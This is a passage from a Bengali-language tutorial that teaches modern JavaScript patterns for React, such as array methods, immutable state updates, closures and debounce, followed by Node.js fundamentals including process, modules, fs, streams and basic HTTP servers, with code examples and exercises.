কিন্তু কাজ আলাদা।
const numbers = [1, 2, 3, 4, 5];
const [first, second, ...rest] = numbers;
console.log(first);
console.log(second);
console.log(rest);
Output:
1 2 [3, 4, 5]
function sum(...numbers) {
return numbers.reduce((total, num) => total + num, 0);
}
console.log(sum(10, 20, 30));
Output:
60
map() — React-এর সবচেয়ে গুরুত্বপূর্ণ Array Methodmap() array-এর প্রতিটি element নিয়ে নতুন array তৈরি করে।
const numbers = [1, 2, 3];
const doubled = numbers.map(num => num * 2);
console.log(doubled);
Output:
[2, 4, 6]
map()const users = [
{ id: 1, name: "Ripon" },
{ id: 2, name: "Rahim" },
{ id: 3, name: "Karim" }
];
function Users() {
return (
<div>
{users.map(user => (
<p key={user.id}>
{user.name}
</p>
))}
</div>
);
}
Ripon Rahim Karim
users.map(...)
মানে:
React-এ array render করার সময় সাধারণত:
array.map(...)
ব্যবহার করা হয়। এবং সাধারণত unique:
key={item.id}
দেওয়া হয়।
filter()filter() condition অনুযায়ী নতুন array তৈরি করে।
const numbers = [1, 2, 3, 4, 5];
const evenNumbers = numbers.filter(num => num % 2 === 0);
console.log(evenNumbers);
Output:
[2, 4]
const products = [
{ name: "Laptop", price: 80000 },
{ name: "Mouse", price: 1000 },
{ name: "Keyboard", price: 3000 }
];
const expensiveProducts = products.filter(
product => product.price > 5000
);
Result:
Laptop
find()প্রথম matching element return করে।
const users = [
{ id: 1, name: "Ripon" },
{ id: 2, name: "Rahim" }
];
const user = users.find(user => user.id === 2);
console.log(user);
Output:
{ id: 2, name: "Rahim" }
filter() বনাম find()| Method | Result |
|---|---|
find() | প্রথম matching element |
filter() | সব matching element |
findIndex()const users = [
{ id: 10, name: "A" },
{ id: 20, name: "B" },
{ id: 30, name: "C" }
];
const index = users.findIndex(user => user.id === 20);
console.log(index);
Output:
1
some()কমপক্ষে একজন condition satisfy করলে true।
const ages = [15, 17, 22];
const hasAdult = ages.some(age => age >= 18);
console.log(hasAdult);
Output:
true
students.some(student => student.present)
every()সবাই condition satisfy করলে true।
const ages = [20, 25, 30];
const allAdults = ages.every(age => age >= 18);
console.log(allAdults);
Output:
true
reduce()reduce() অনেকগুলো value থেকে একটি final result তৈরি করতে পারে।
const numbers = [10, 20, 30];
const total = numbers.reduce(
(sum, number) => sum + number,
0
);
console.log(total);
Output:
60
const cart = [
{ name: "Laptop", price: 80000 },
{ name: "Mouse", price: 1000 },
{ name: "Keyboard", price: 3000 }
];
const total = cart.reduce(
(sum, item) => sum + item.price,
0
);
console.log(total);
Output:
84000
React e-commerce app-এ এই ধরনের code খুব common।
React-এর সবচেয়ে গুরুত্বপূর্ণ conceptগুলোর একটি। Immutability = existing data সরাসরি পরিবর্তন না করা। ❌ Bad:
user.name = "Rahim";
Better:
setUser({
...user,
name: "Rahim"
});
React state update detect করতে reference comparison ব্যবহার করে। ধরো:
const user = {
name: "Ripon"
};
সরাসরি:
user.name = "Rahim";
করলে একই object reference থাকে। কিন্তু:
const newUser = {
...user,
name: "Rahim"
};
এখানে নতুন object তৈরি হয়।
Old Object
↓
copy
↓
New Object
React state management-এর জন্য এই pattern অত্যন্ত গুরুত্বপূর্ণ।
ধরো:
const [items, setItems] = useState([]);
নতুন item যোগ:
setItems([
...items,
newItem
]);
❌ সরাসরি:
items.push(newItem);
এড়িয়ে চলা উচিত।
ধরো:
const users = [
{ id: 1, name: "Ripon" },
{ id: 2, name: "Rahim" }
];
id = 2 update করতে:
const updatedUsers = users.map(user =>
user.id === 2
? { ...user, name: "Karim" }
: user
);
Result:
[
{ id: 1, name: "Ripon" },
{ id: 2, name: "Karim" }
]
🔥 React-এ এটি খুব গুরুত্বপূর্ণ pattern।
setUsers(
users.filter(user => user.id !== 2)
);
অর্থ:
Primitive:
let a = 10;
let b = a;
b = 20;
console.log(a);
Output:
10
Object:
const user1 = {
name: "Ripon"
};
const user2 = user1;
user2.name = "Rahim";
console.log(user1.name);
Output:
Rahim
কারণ দুটো একই object reference ধরে রেখেছে।
const user = {
name: "Ripon",
age: 23
};
const copy = {
...user
};
এখন:
user !== copy
কিন্তু nested object থাকলে সমস্যা হতে পারে।
const user = {
name: "Ripon",
address: {
city: "Dhaka"
}
};
const copy = { ...user };
copy.address.city = "Dinajpur";
এতে original-এর nested object-ও পরিবর্তিত হতে পারে। কারণ spread deep copy নয়।
Modern JavaScript-এ:
const copy = structuredClone(user);
এটি অনেক ক্ষেত্রে nested data-এর deep copy তৈরি করতে পারে।
?.ধরো API response:
const user = {};
এখন:
console.log(user.address.city);
error হতে পারে। কিন্তু:
console.log(user.address?.city);
Output:
undefined
আরও:
user?.profile?.address?.city
React-এ API data render করার সময় খুব useful।
??const username = null;
const name = username ?? "Guest";
console.log(name);
Output:
Guest
|| বনাম ??const count = 0;
console.log(count || 10);
Output:
10
কিন্তু:
console.log(count ?? 10);
Output:
0
কারণ ?? শুধু null অথবা undefined check করে।
React:
{isLoggedIn && <Dashboard />}
মানে:
isLoggedIn = true
↓
Dashboard দেখাও
আর:
false
↓
কিছু render করো না
const isLoggedIn = true;
const message = isLoggedIn
? "Welcome"
: "Please login";
console.log(message);
Output:
Welcome
React:
{isLoggedIn ? (
<Dashboard />
) : (
<Login />
)}
এটি React-এর খুব common pattern।
const add = (a, b) => {
return a + b;
};
Short form:
const add = (a, b) => a + b;
React:
users.map(user => (
<p>{user.name}</p>
))
যে function:
তাকে Higher-Order Function বলা হয়। উদাহরণ:
function calculate(a, b, operation) {
return operation(a, b);
}
const result = calculate(
10,
20,
(a, b) => a + b
);
console.log(result);
Output:
30
React-এর:
map()
filter()
reduce()
এগুলো callback গ্রহণ করে।
function greet(name, callback) {
console.log("Hello", name);
callback();
}
greet("Ripon", () => {
console.log("Welcome!");
});
Output:
Hello Ripon
Welcome!
Closure মানে inner function তার outer scope-এর variable মনে রাখতে পারে।
function counter() {
let count = 0;
return function () {
count++;
return count;
};
}
const increase = counter();
console.log(increase());
console.log(increase());
Output:
1 2
React-এ event handler এবং hooks-এর behaviour বুঝতে closure অত্যন্ত গুরুত্বপূর্ণ।
function Counter() {
const [count, setCount] = useState(0);
function handleClick() {
console.log(count);
}
return (
<button onClick={handleClick}>
{count}
</button>
);
}
handleClick তার surrounding scope থেকে count access করছে। এটাই closure-এর practical impact।
React development-এ functional programming style বেশি দেখা যায়। মূল concepts:
Pure Function Immutability Higher-Order Function Composition Declarative Programming
Pure function: 1. একই input → একই output 2. বাইরে কোনো side effect করে না
function add(a, b) {
return a + b;
}
এটি pure। কিন্তু:
let total = 0;
function addToTotal(value) {
total += value;
}
এটি pure নয় কারণ external state পরিবর্তন করছে।
this in ReactModern React functional components-এ সাধারণত class-এর মতো this লাগে না। পুরনো React:
class Counter extends React.Component {
handleClick() {
this.setState({
count: this.state.count + 1
});
}
}
Modern React:
function Counter() {
const [count, setCount] = useState(0);
return (
<button onClick={() => setCount(count + 1)}>
{count}
</button>
);
}
তাই modern React শেখার জন্য this জানা দরকার হলেও এর ব্যবহার অনেক কম।
React project সাধারণত module-based।
// math.js
export function add(a, b) {
return a + b;
}
তারপর:
import { add } from "./math.js";
React:
import React from "react";
import UserCard from "./UserCard";
export default function UserCard() {
return <h2>User</h2>;
}
Import:
import UserCard from "./UserCard";
export function add() {}
export function subtract() {}
Import:
import {
add,
subtract
} from "./math.js";
API call:
async function getUsers() {
const response = await fetch(
"https://example.com/users"
);
const data = await response.json();
console.log(data);
}
React-এ সাধারণত useEffect()-এর মাধ্যমে API call করা হয়। Concept:
Component ↓ useEffect ↓ fetch() ↓ await response ↓ JSON ↓ setState ↓ Re-render
fetch("/api/users")
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(error);
});
Modern style:
async function loadUsers() {
try {
const response = await fetch("/api/users");
const data = await response.json();
console.log(data);
} catch (error) {
console.error(error);
}
}
ধরো backend থেকে এসেছে:
const users = [
{
id: 1,
name: "Ripon",
active: true
},
{
id: 2,
name: "Rahim",
active: false
}
];
শুধু active users:
const activeUsers = users.filter(
user => user.active
);
তারপর names:
const names = activeUsers.map(
user => user.name
);
Result:
["Ripon"]
React:
{users
.filter(user => user.active)
.map(user => (
<p key={user.id}>
{user.name}
</p>
))
}
🔥 Full-stack React development-এ এই pattern অত্যন্ত common।
function handleClick(event) {
console.log(event);
}
<button onClick={handleClick}>
Click
</button>
event object-এর মধ্যে event সম্পর্কিত তথ্য থাকে। যেমন:
event.target
event.currentTarget
event.preventDefault()
preventDefault()Form:
function handleSubmit(event) {
event.preventDefault();
console.log("Form submitted");
}
Browser-এর default form submission বন্ধ করে।
HTML:
<div id="parent">
<button id="child">
Click
</button>
</div>
Button click করলে event:
button ↓ parent ↓ body ↓ document
উপরে উঠতে পারে। এটিই event bubbling।
অনেকগুলো child element-এর জন্য আলাদা listener না দিয়ে parent-এ listener ব্যবহার করা যায়।
parent.addEventListener("click", event => {
if (event.target.matches("button")) {
console.log("Button clicked");
}
});
React-এ event system এই concept-এর সাথে সম্পর্কিত।
User typing:
R
Ri
Rip
Ripo
Ripon
প্রতিবার API call করলে unnecessary request হবে। Debounce:
function debounce(callback, delay) {
let timer;
return (...args) => {
clearTimeout(timer);
timer = setTimeout(() => {
callback(...args);
}, delay);
};
}
Search:
const search = debounce(value => {
console.log("API call:", value);
}, 500);
Throttle:
যেমন:
scroll scroll scroll scroll scroll
প্রতিবার না চালিয়ে:
100ms 200ms 300ms
এরকম interval-এ চালানো যায়।
ধরো:
const [count, setCount] = useState(0);
Wrong ধারণা:
count = count + 1;
State update করতে হবে:
setCount(count + 1);
আর previous state-এর উপর নির্ভর করলে:
setCount(prevCount => prevCount + 1);
কারণ React state update asynchronous/batched হতে পারে। এই pattern safer:
setCount(prev => prev + 1);
এটি:
setCount(count + 1);
setCount(count + 1);
সবসময় +2 করার নিশ্চয়তা দেয় না। Better:
setCount(prev => prev + 1);
setCount(prev => prev + 1);
এখানে প্রতিটি update previous state-এর উপর নির্ভর করছে।
ধরো:
const [user, setUser] = useState({
name: "Ripon",
address: {
city: "Dhaka"
}
});
City update:
setUser(prev => ({
...prev,
address: {
...prev.address,
city: "Dinajpur"
}
}));
এখানে দুই level spread হয়েছে।
&&{isAdmin && <AdminPanel />}
{isAdmin ? (
<AdminPanel />
) : (
<UserPanel />
)}
function renderContent() {
if (loading) return <Loading />;
if (error) return <Error />;
return <Content />;
}
map() এ return ভুলে যাওয়া❌:
users.map(user => {
<p>{user.name}</p>
});
এখানে implicit return নেই। সঠিক:
users.map(user => (
<p>{user.name}</p>
));
অথবা:
users.map(user => {
return <p>{user.name}</p>;
});
❌:
user.name = "Rahim";
React state হলে:
setUser(prev => ({
...prev,
name: "Rahim"
}));
❌:
items.push(newItem);
Better:
setItems(prev => [
...prev,
newItem
]);
Delete:
setItems(prev =>
prev.filter(item => item.id !== id)
);
Update:
setItems(prev =>
prev.map(item =>
item.id === id
? { ...item, completed: true }
: item
)
);
key হিসেবে ব্যবহার করা{items.map((item, index) => (
<div key={index}>
{item.name}
</div>
))}
Static list হলে কখনো acceptable হতে পারে। কিন্তু list যদি:
তাহলে stable unique ID ব্যবহার করা better:
key={item.id}
ধরো:
<p>{user.profile.name}</p>
API data এখনো আসেনি। Error হতে পারে। Better:
<p>{user?.profile?.name}</p>
অথবা loading state:
if (loading) {
return <p>Loading...</p>;
}
ধরো:
const todos = [
{
id: 1,
title: "Learn JavaScript",
completed: true
},
{
id: 2,
title: "Learn React",
completed: false
}
];
const completedTodos = todos.filter(
todo => todo.completed
);
const titles = todos.map(
todo => todo.title
);
const updatedTodos = todos.map(todo =>
todo.id === 2
? { ...todo, completed: true }
: todo
);
const remainingTodos = todos.filter(
todo => todo.id !== 1
);
এই চারটি pattern React Todo App-এর core।
সবচেয়ে বেশি গুরুত্ব দাও:
| Topic | Importance |
|---|---|
map() | 🔥🔥🔥 |
filter() | 🔥🔥🔥 |
| Destructuring | 🔥🔥🔥 |
| Spread | 🔥🔥🔥 |
| Immutability | 🔥🔥🔥 |
| Arrow Function | 🔥🔥🔥 |
| Callback | 🔥🔥🔥 |
| Closure | 🔥🔥 |
reduce() | 🔥🔥 |
| Optional Chaining | 🔥🔥🔥 |
| Nullish Coalescing | 🔥🔥 |
| Ternary | 🔥🔥🔥 |
| Async/Await | 🔥🔥🔥 |
| Promise | 🔥🔥🔥 |
| Modules | 🔥🔥🔥 |
| Reference | 🔥🔥🔥 |
| Event Object | 🔥🔥 |
| Debounce | 🔥🔥 |
| Throttle | 🔥🔥 |
// Destructuring
const { name } = user;
// Array destructuring
const [first, second] = items;
// Spread
const newArray = [...oldArray];
// Object spread
const newUser = { ...user, age: 24 };
// Rest
const [first, ...rest] = numbers;
// Map
items.map(item => item.name);
// Filter
items.filter(item => item.active);
// Find
items.find(item => item.id === 1);
// Some
items.some(item => item.active);
// Every
items.every(item => item.active);
// Reduce
items.reduce((sum, item) => sum + item.price, 0);
// Optional chaining
user?.profile?.name;
// Nullish
name ?? "Guest";
// Ternary
isLoggedIn ? <Dashboard /> : <Login />;
// Short circuit
isAdmin && <AdminPanel />;
// Immutable update
setUser(prev => ({
...prev,
name: "Rahim"
}));
// Immutable array add
setItems(prev => [...prev, item]);
// Immutable delete
setItems(prev =>
prev.filter(item => item.id !== id)
);
// Immutable update
setItems(prev =>
prev.map(item =>
item.id === id
? { ...item, done: true }
: item
)
);
সমস্যা ও লক্ষ্য: প্রদত্ত ইউজার অ্যারে থেকে filter() মেথড ব্যবহার করে শুধুমাত্র ১৮ বা তার বেশি বয়সের ইউজারদের ফিল্টার করুন।
const users = [
{ name: "A", age: 15 },
{ name: "B", age: 20 },
{ name: "C", age: 25 }
];
// Modern ES6+ / React Pattern
const adultUsers = users.filter(user => user.age >= 18);
console.log(adultUsers);
// Output: [ { name: 'B', age: 20 }, { name: 'C', age: 25 } ]
সমস্যা ও লক্ষ্য: ইউজার অবজেক্ট অ্যারে থেকে map() ব্যবহার করে শুধুমাত্র ইউজারদের নামের একটি স্ট্রিং অ্যারে তৈরি করুন।
const users = [
{ name: "A", age: 15 },
{ name: "B", age: 20 },
{ name: "C", age: 25 }
];
// React Projection Pattern
const userNames = users.map(user => user.name);
console.log(userNames);
// Output: ["A", "B", "C"]
সমস্যা ও লক্ষ্য: map() এবং Spread Operator ব্যবহার করে id = 2 ইউজারের নাম পরিবর্তন করে 'Ripon' করুন (অন্যান্য উপাদান অক্ষত রেখে)।
const users = [
{ id: 1, name: "Tanvir" },
{ id: 2, name: "OldName" },
{ id: 3, name: "Karim" }
];
// Immutable Update Pattern
const targetId = 2;
const updatedUsers = users.map(user =>
user.id === targetId
? { ...user, name: "Ripon" }
: user
);
console.log(updatedUsers);
// Output: [ { id: 1, name: 'Tanvir' }, { id: 2, name: 'Ripon' }, { id: 3, name: 'Karim' } ]
সমস্যা ও লক্ষ্য: filter() মেথড ব্যবহার করে id = 3 ইউজারটিকে অ্যারে থেকে নিরাপদে মুছে ফেলুন।
const users = [
{ id: 1, name: "Tanvir" },
{ id: 2, name: "Ripon" },
{ id: 3, name: "Karim" }
];
// Immutable Delete Pattern
const deleteId = 3;
const remainingUsers = users.filter(user => user.id !== deleteId);
console.log(remainingUsers);
// Output: [ { id: 1, name: 'Tanvir' }, { id: 2, name: 'Ripon' } ]
সমস্যা ও লক্ষ্য: reduce() মেথড ব্যবহার করে শপিং কার্টের সকল আইটেমের মোট মূল্য (Total Price) বের করুন।
const cart = [
{ name: "Laptop", price: 80000 },
{ name: "Mouse", price: 1000 },
{ name: "Keyboard", price: 3000 }
];
// React / E-Commerce Accumulator Pattern
const totalPrice = cart.reduce((accumulator, item) => accumulator + item.price, 0);
console.log('Total Cart Amount: ৳' + totalPrice);
// Output: Total Cart Amount: ৳84000
সমস্যা ও লক্ষ্য: নিচের কম্পোনেন্টটিতে map() এ ব্র্যাকেট দেওয়ার কারণে JSX রিটার্ন হচ্ছে না। এরর খুঁজে বের করে প্রোডাকশন-রেডি ফিক্স লিখুন।
// ❌ Buggy Version (Returns undefined for each item)
// function Users({ users }) {
// return (<div>{users.map(user => { <p>{user.name}</p> })}</div>);
// }
// ✅ Fixed Version 1: Implicit Return with Parentheses
function UsersImplicit({ users }) {
return (
<div>
{users.map(user => (
<p key={user.id}>{user.name}</p>
))}
</div>
);
}
// ✅ Fixed Version 2: Explicit Return Keyword with Curly Braces
function UsersExplicit({ users }) {
return (
<div>
{users.map(user => {
return <p key={user.id}>{user.name}</p>;
})}
</div>
);
}
সমস্যা ও লক্ষ্য: React Functional setState প্যাটার্ন মেনে user অবজেক্টের age প্রপার্টি ২৩ থেকে ২৪ এ আপডেট করুন।
const [user, setUser] = [
{ name: "Ripon", age: 23 },
newUser => console.log('Updated User State:', newUser)
];
// React Functional State Update Pattern
setUser(prevUser => ({
...prevUser,
age: 24
}));
// Output: Updated User State: { name: 'Ripon', age: 24 }
সমস্যা ও লক্ষ্য: Nested অবজেক্টের গভীরের প্রপার্টি (address.city) মিউটেট না করে স্প্রেড অপারেটর দিয়ে 'Dhaka' থেকে 'Dinajpur' এ আপডেট করুন।
const user = {
name: "Ripon",
address: {
city: "Dhaka",
country: "Bangladesh"
}
};
// ❌ Buggy Shallow Spread: user.address মিউটেট হয়ে যায়
// const wrong = { ...user, address: { city: 'Dinajpur' } }; // country হারিয়ে যাবে!
// ✅ Correct Deep Immutable Spread
const updatedUser = {
...user,
address: {
...user.address,
city: "Dinajpur"
}
};
console.log(updatedUser);
// Output: { name: 'Ripon', address: { city: 'Dinajpur', country: 'Bangladesh' } }
পুরো Chapter 38-এর JavaScript ও React সমন্বয় একনজরে:
Advanced JS for React │ ┌─────────────────┼─────────────────┐ │ │ │ Syntax Data Logic │ │ │ Destructuring map/filter ternary Spread/Rest find/reduce && / ?? Arrow Function some/every optional chaining │ │ │ └─────────────────┼─────────────────┘ │ React State │ Immutability │ ┌───────────┼───────────┐ │ │ │ Add Update Delete │ │ │ spread map filter │ ↓ API / Async │ Promise / await │ ↓ React UI
Chapter 37: JavaScript Design Patterns
↓
Creational, Structural, Behavioral, MVC, Dependency Injection & Repository
↓
Chapter 38: Advanced JavaScript for React (THIS CHAPTER)
↓
Destructuring, Spread, map/filter, Immutability, Closures, Synthetic Events
↓
Chapter 39: Advanced JavaScript for Node.js
↓
Node.js Architecture, Libuv, Event Loop Phases, Streams, Buffer, Worker Threads
Node.js কোনো আলাদা প্রোগ্রামিং ভাষা নয়, বরং এটি একটি শক্তিশালী JavaScript Runtime Environment যা ব্রাউজারের বাইরে সার্ভারে জাভাস্ক্রিপ্ট চালানোর সুযোগ করে দেয়। V8 ইঞ্জিন, Libuv, ইভেন্ট লুপ, নন-ব্লকিং অ্যাসিনক্রোনাস I/O, প্রসেস অবজেক্ট, এনভায়রনমেন্ট ভ্যারিয়েবল, কমনজেএস বনাম ইএস মডিউল, fs, path, os, events, Buffer, Streams এবং সিকিউর এক্সপ্রেস আর্কিটেকচার এই চ্যাপ্টারের মূল উপজীব্য।
Node.js হলো এমন একটি runtime environment যার মাধ্যমে browser-এর বাইরে JavaScript চালানো যায়। আগে JavaScript মূলত:
Browser ↓ Chrome / Firefox / Edge ↓ JavaScript
Node.js-এর মাধ্যমে:
Computer / Server ↓ Node.js ↓ JavaScript
চালানো যায়।
Node.js দিয়ে তৈরি করা যায়:
তোমার Full Stack Developer journey-তে:
React ↓ Node.js ↓ Express.js ↓ Database
খুব গুরুত্বপূর্ণ architecture।
| Feature | Browser | Node.js |
|---|---|---|
| JavaScript | ✅ | ✅ |
| DOM | ✅ | ❌ |
window | ✅ | ❌ |
document | ✅ | ❌ |
process | ❌ | ✅ |
| File System | সীমিত | ✅ |
| Server তৈরি | ❌ | ✅ |
| HTTP Server | Browser API | ✅ |
fs module | ❌ | ✅ |
path module | ❌ | ✅ |
| Database access | সাধারণত API দিয়ে | ✅ |
npm ecosystem | ব্যবহার করা যায় | মূল ecosystem |
Browser:
Node.js:
Simplified architecture:
Node.js Application │ ↓ JavaScript Code │ ↓ V8 Engine │ ↓ Node.js Runtime ┌───────┴────────┐ ↓ ↓ libuv Node APIs │ ↓ OS / Network / File System
V8 হলো Google-এর JavaScript engine। Chrome-এ:
Chrome ↓ V8 ↓ JavaScript
Node.js-এ:
Node.js ↓ V8 ↓ JavaScript
V8 JavaScript code execute করে।
Node.js-এর সবচেয়ে গুরুত্বপূর্ণ conceptগুলোর একটি হলো Event Loop। Node.js সাধারণত:
ব্যবহার করে। উদাহরণ:
console.log("Start");
setTimeout(() => {
console.log("Timer");
}, 0);
console.log("End");
Output:
Start End Timer
কারণ setTimeout() callback পরে execute হয়।
Node.js-এর শক্তিশালী দিক হলো non-blocking I/O। ধরো server-কে file read করতে হবে:
Request ↓ File Read ↓ Waiting...
পুরো JavaScript execution block না করে Node অন্য কাজ handle করতে পারে।
Request A ↓ File I/O ─────────┐ │ Request B ← Node │ │ Request C ← Node │ ↓ File Result
এটি high-concurrency application-এর জন্য useful।
process ObjectNode.js-এ:
console.log(process);
process হলো Node.js process সম্পর্কিত information/control দেওয়ার global object।
process.versionconsole.log(process.version);
Example output:
v24.x.x
তোমার নিজের system-এ installed Node version অনুযায়ী output আলাদা হবে।
process.platformconsole.log(process.platform);
Windows হলে:
win32
Linux হলে:
linux
process.archconsole.log(process.arch);
Example:
x64
CPU architecture জানা যায়।
process.argvCommand-line arguments পাওয়া যায়:
console.log(process.argv);
Run:
node app.js hello
তাহলে process.argv-তে command-line arguments থাকবে। Example:
const name = process.argv[2];
console.log(`Hello ${name}`);
Run:
node app.js Ripon
Output:
Hello Ripon
CLI application:
node create-user.js Ripon
Server application-এ secret/configuration hard-code করা উচিত নয়। ❌:
const password = "mySecretPassword";
Better:
Environment Variable
↓
process.env
↓
Application
process.envconsole.log(process.env.NODE_ENV);
Environment variable access করতে:
const port = process.env.PORT;
.envসাধারণত:
PORT=5000 DATABASE_URL=your_database_url JWT_SECRET=your_secret
তারপর application-এ environment variables load করা হয়। Modern Node.js versions-এ অনেক ক্ষেত্রে:
node --env-file=.env server.js
ব্যবহার করা যায়। অথবা project-এ dotenv package ব্যবহার করা হয়।
import "dotenv/config";
console.log(process.env.PORT);
Frontend-এর .env-এ রাখা value secret ধরে নেওয়া যাবে না যদি build process সেটি browser bundle-এ expose করে। Backend environment variables-এর ক্ষেত্রে secret রাখা যায়, তবে deployment platform-এর secret management ব্যবহার করাই ভালো।
__dirnameCommonJS-এ:
console.log(__dirname);
বর্তমান file-এর directory path পাওয়া যায়।
__filenameconsole.log(__filename);
বর্তমান file-এর সম্পূর্ণ path পাওয়া যায়।
__dirname এবং __filename built-inভাবে থাকে না। ESM-এ:
import { fileURLToPath } from "node:url";
import path from "node:path";
const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
Node.js project-এ code আলাদা file/module-এ ভাগ করা হয়। দুটি প্রধান module system:
CommonJS ES Modules
পুরোনো/প্রচলিত Node.js module system। Export:
function add(a, b) {
return a + b;
}
module.exports = add;
Import:
const add = require("./math");
function add(a, b) {
return a + b;
}
function subtract(a, b) {
return a - b;
}
module.exports = {
add,
subtract
};
Import:
const { add, subtract } = require("./math");
Modern JavaScript style:
export function add(a, b) {
return a + b;
}
Import:
import { add } from "./math.js";
Node.js-এ ESM ব্যবহার করতে package.json-এ:
{
"type": "module"
}
দেওয়া যায়।
require() বনাম import| CommonJS | ES Modules |
|---|---|
require() | import |
module.exports | export |
| Node.js-এ traditional | Modern standard |
__dirname available | import.meta.url |
| synchronous loading semantics | static module syntax |
Modern full-stack projects-এ ESM অনেক বেশি দেখা যায়, তবে CommonJS এখনও গুরুত্বপূর্ণ।
Node.js অনেক built-in module দেয়। গুরুত্বপূর্ণ:
fs path os url events http crypto stream buffer util process
Import:
import fs from "node:fs";
Modern Node.js-এ built-in modules-এর ক্ষেত্রে node: prefix ব্যবহার করা ভালো practice।
fs — File Systemfs module file নিয়ে কাজ করতে ব্যবহার হয়।
import fs from "node:fs";
const data = fs.readFileSync("hello.txt", "utf8");
console.log(data);
এটি synchronous।
Better server-side pattern:
import fs from "node:fs/promises";
const data = await fs.readFile(
"hello.txt",
"utf8"
);
console.log(data);
এটি asynchronous।
import fs from "node:fs/promises";
await fs.writeFile(
"hello.txt",
"Hello Ripon!"
);
ফাইল তৈরি/overwrite হবে।
await fs.appendFile(
"hello.txt",
"\nNew line"
);
আগের content রেখে নতুন content যোগ করবে।
await fs.unlink("hello.txt");
ফাইল delete করবে।
await fs.mkdir("uploads", {
recursive: true
});
Folder তৈরি করবে।
path ModuleFile path handle করার জন্য:
import path from "node:path";
const filePath = path.join(
"uploads",
"images",
"photo.jpg"
);
console.log(filePath);
OS অনুযায়ী correct separator ব্যবহার করবে।
path.basename()const file = "/uploads/photo.jpg";
console.log(path.basename(file));
Output:
photo.jpg
path.extname()console.log(
path.extname("photo.jpg")
);
Output:
.jpg
path.dirname()console.log(
path.dirname("/uploads/photo.jpg")
);
Output:
/uploads
os ModuleOperating system information:
import os from "node:os";
console.log(os.platform());
console.log(os.arch());
console.log(os.cpus().length);
Real-life:
url Moduleimport { URL } from "node:url";
const url = new URL(
"https://example.com/products?page=2"
);
console.log(url.pathname);
console.log(url.searchParams.get("page"));
Output:
/products 2
Node.js-এর অন্যতম গুরুত্বপূর্ণ concept। Import:
import { EventEmitter } from "node:events";
Create:
const emitter = new EventEmitter();
Listener:
emitter.on("login", username => {
console.log(`${username} logged in`);
});
Event trigger:
emitter.emit("login", "Ripon");
Output:
Ripon logged in
ধরো application-এ:
User Registration ↓ "userRegistered" ↓ ┌─────┼──────┐ ↓ ↓ ↓ Email Log Analytics
একটি event-এর জন্য বিভিন্ন listener কাজ করতে পারে।
once()কোনো event একবারের বেশি handle করতে না চাইলে:
emitter.once("startup", () => {
console.log("Server started");
});
একবার execute হওয়ার পর listener remove হয়ে যায়।
BufferNode.js-এ binary data handle করার জন্য Buffer ব্যবহৃত হয়।
const buffer = Buffer.from("Hello");
console.log(buffer);
এটি bytes representation তৈরি করবে। আবার:
console.log(buffer.toString());
Output:
Hello
বড় data একবারে memory-তে না এনে ছোট ছোট chunk হিসেবে process করার জন্য Streams ব্যবহার করা হয়। ধরো 5GB video। ❌ পুরো file memory-তে load করা:
5GB
↓
RAM
সমস্যা হতে পারে। Stream:
5GB File ↓ Chunk Chunk Chunk Chunk Chunk ↓ Output
এটি অনেক efficient।
চারটি প্রধান ধরনের stream:
Readable Writable Duplex Transform
যেখান থেকে data পড়া যায়। উদাহরণ:
import fs from "node:fs";
const stream = fs.createReadStream(
"large.txt",
"utf8"
);
stream.on("data", chunk => {
console.log(chunk);
});
যেখানে data লেখা যায়।
const stream = fs.createWriteStream(
"output.txt"
);
stream.write("Hello");
stream.write("\nWorld");
stream.end();
pipe()Readable stream → Writable stream:
const readStream =
fs.createReadStream("input.txt");
const writeStream =
fs.createWriteStream("output.txt");
readStream.pipe(writeStream);
Concept:
input.txt ↓ Readable Stream ↓ pipe() ↓ Writable Stream ↓ output.txt
🔥 Node.js-এ Streams-এর core concept।
Data read করার সময় transform করা যায়। উদাহরণ:
Input ↓ Transform ↓ Output
Compression tools যেমন gzip-এর ক্ষেত্রে এই concept ব্যবহৃত হয়।
Node.js-এ asynchronous API খুব গুরুত্বপূর্ণ। ❌ Blocking:
const data = fs.readFileSync("file.txt");
এটি synchronous। Better:
const data = await fs.readFile("file.txt");
Server application-এ non-blocking operations সাধারণত preferred।
পুরোনো Node.js code-এ callback প্রচুর দেখা যায়।
fs.readFile(
"hello.txt",
"utf8",
(error, data) => {
if (error) {
console.error(error);
return;
}
console.log(data);
}
);
অনেক nested callback:
doSomething(() => {
doSomethingElse(() => {
anotherTask(() => {
finalTask(() => {
console.log("Done");
});
});
});
});
এটি maintain করা কঠিন। Modern solution:
Promise ↓ async/await
async function readFile() {
try {
const data = await fs.readFile(
"hello.txt",
"utf8"
);
console.log(data);
} catch (error) {
console.error(error);
}
}
Code দেখতে synchronous-এর মতো হলেও operation asynchronous।
Node.js application-এ error properly handle করা অত্যন্ত গুরুত্বপূর্ণ।
try {
const data = await fs.readFile(
"missing.txt",
"utf8"
);
} catch (error) {
console.error(
"File error:",
error.message
);
}
নিজের Error class তৈরি করা যায়:
class AppError extends Error {
constructor(message, statusCode) {
super(message);
this.statusCode = statusCode;
}
}
ব্যবহার:
throw new AppError(
"User not found",
404
);
Express backend-এ এই pattern খুব useful।
Node.js দিয়ে directly HTTP server তৈরি করা যায়।
import http from "node:http";
const server = http.createServer(
(req, res) => {
res.writeHead(200, {
"Content-Type": "text/plain"
});
res.end("Hello World");
}
);
server.listen(3000, () => {
console.log(
"Server running on port 3000"
);
});
Browser:
http://localhost:3000
Output:
Hello World
http.createServer((req, res) => {
console.log(req.method);
console.log(req.url);
res.end("Hello");
});
req:
res:
Backend development-এ:
| Method | কাজ |
|---|---|
| GET | Data নেওয়া |
| POST | নতুন data তৈরি |
| PUT | পুরো resource update |
| PATCH | আংশিক update |
| DELETE | Delete |
Example:
GET /users POST /users GET /users/10 PATCH /users/10 DELETE /users/10
Success:
200 OK 201 Created 204 No Content
Client-side/request problem:
400 Bad Request 401 Unauthorized 403 Forbidden 404 Not Found 409 Conflict 422 Unprocessable Content
Server problem:
500 Internal Server Error 502 Bad Gateway 503 Service Unavailable
Server:
const data = {
name: "Ripon",
age: 23
};
res.setHeader(
"Content-Type",
"application/json"
);
res.end(JSON.stringify(data));
Client পাবে:
{
"name": "Ripon",
"age": 23
}
Real-world project-এ raw Node HTTP server-এর পরিবর্তে সাধারণত Express/Fastify/NestJS-এর মতো framework ব্যবহার করা হয়। Typical architecture:
React ↓ HTTP Request ↓ Express / Node.js ↓ Router ↓ Middleware ↓ Controller ↓ Service ↓ Database
Middleware হলো request-response lifecycle-এর মাঝখানে চলা function। Concept:
